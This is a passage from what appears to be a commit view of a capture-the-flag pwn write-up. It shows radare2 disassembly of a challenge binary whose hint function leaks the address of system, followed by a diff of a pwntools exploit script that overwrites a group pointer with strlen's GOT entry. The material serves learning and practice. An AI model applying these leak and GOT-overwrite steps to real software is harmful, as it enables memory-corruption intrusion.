| || 0x00000f3c test al, al
|
||||
| ||,=< 0x00000f3e je 0xf47
|
||||
| ||| 0x00000f40 mov eax, 1
|
||||
| ,====< 0x00000f45 jmp 0xf4c
|
||||
| |||| ; JMP XREF from 0x00000f3e (sym.level_int)
|
||||
| |||`-> 0x00000f47 mov eax, 0
|
||||
| ||| ; JMP XREF from 0x00000f45 (sym.level_int)
|
||||
| ||| ; JMP XREF from 0x00000e83 (sym.level_int)
|
||||
| ||| ; JMP XREF from 0x00000e63 (sym.level_int)
|
||||
| ```--> 0x00000f4c leave
|
||||
\ 0x00000f4d ret
|
||||
```
|
||||
|
||||
#### hint
|
||||
```
|
||||
[0x000009d0]> pdf @ sym.hint
|
||||
/ (fcn) sym.hint 140
|
||||
| sym.hint ();
|
||||
| ; var int local_110h @ rbp-0x110
|
||||
| ; CALL XREF from 0x00000fa6 (main)
|
||||
| 0x00000cf0 push rbp
|
||||
| 0x00000cf1 mov rbp, rsp
|
||||
| 0x00000cf4 sub rsp, 0x110
|
||||
| 0x00000cfb mov rax, qword [reloc.system] ; [0x201fd0:8]=0
|
||||
| 0x00000d02 mov qword [local_110h], rax
|
||||
| 0x00000d09 lea rax, obj.show_hint ; 0x20208c
|
||||
| 0x00000d10 mov eax, dword [rax]
|
||||
| 0x00000d12 test eax, eax
|
||||
| ,=< 0x00000d14 je 0xd41
|
||||
| | 0x00000d16 mov rax, qword [local_110h]
|
||||
| | 0x00000d1d lea rdx, [local_110h]
|
||||
| | 0x00000d24 lea rcx, [rdx + 8]
|
||||
| | 0x00000d28 mov rdx, rax
|
||||
| | 0x00000d2b lea rsi, str.Hint:__p ; 0x111d ; "Hint: %p\n"
|
||||
| | 0x00000d32 mov rdi, rcx
|
||||
| | 0x00000d35 mov eax, 0
|
||||
| | 0x00000d3a call sym.imp.sprintf ; int sprintf(char *s,
|
||||
| ,==< 0x00000d3f jmp 0xd66
|
||||
| || ; JMP XREF from 0x00000d14 (sym.hint)
|
||||
| |`-> 0x00000d41 lea rax, [local_110h]
|
||||
| | 0x00000d48 add rax, 8
|
||||
| | 0x00000d4c movabs rsi, 0x4e204e5750204f4e
|
||||
| | 0x00000d56 mov qword [rax], rsi
|
||||
| | 0x00000d59 mov dword [rax + 8], 0x5546204f ; [0x5546204f:4]=-1
|
||||
| | 0x00000d60 mov word [rax + 0xc], 0x4e ; 'N' ; [0x4e:2]=0
|
||||
| | ; JMP XREF from 0x00000d3f (sym.hint)
|
||||
| `--> 0x00000d66 lea rax, [local_110h]
|
||||
| 0x00000d6d add rax, 8
|
||||
| 0x00000d71 mov rdi, rax
|
||||
| 0x00000d74 call sym.imp.puts ; int puts(const char *s)
|
||||
| 0x00000d79 nop
|
||||
| 0x00000d7a leave
|
||||
\ 0x00000d7b ret
|
||||
```
|
||||
|
||||
|
||||
## Exploit
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/4539
|
||||
|
@ -44,7 +44,7 @@ def overflow():
|
||||
sleep(2) # group_name and group freed by GC
|
||||
|
||||
def leak():
|
||||
add_user('b'*32, 'B'*4) # group
|
||||
add_user('b'*8, 'B'*4) # group
|
||||
strlen_got = elf.got['strlen']
|
||||
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
|
||||
|
Loading…
Reference in New Issue
Block a user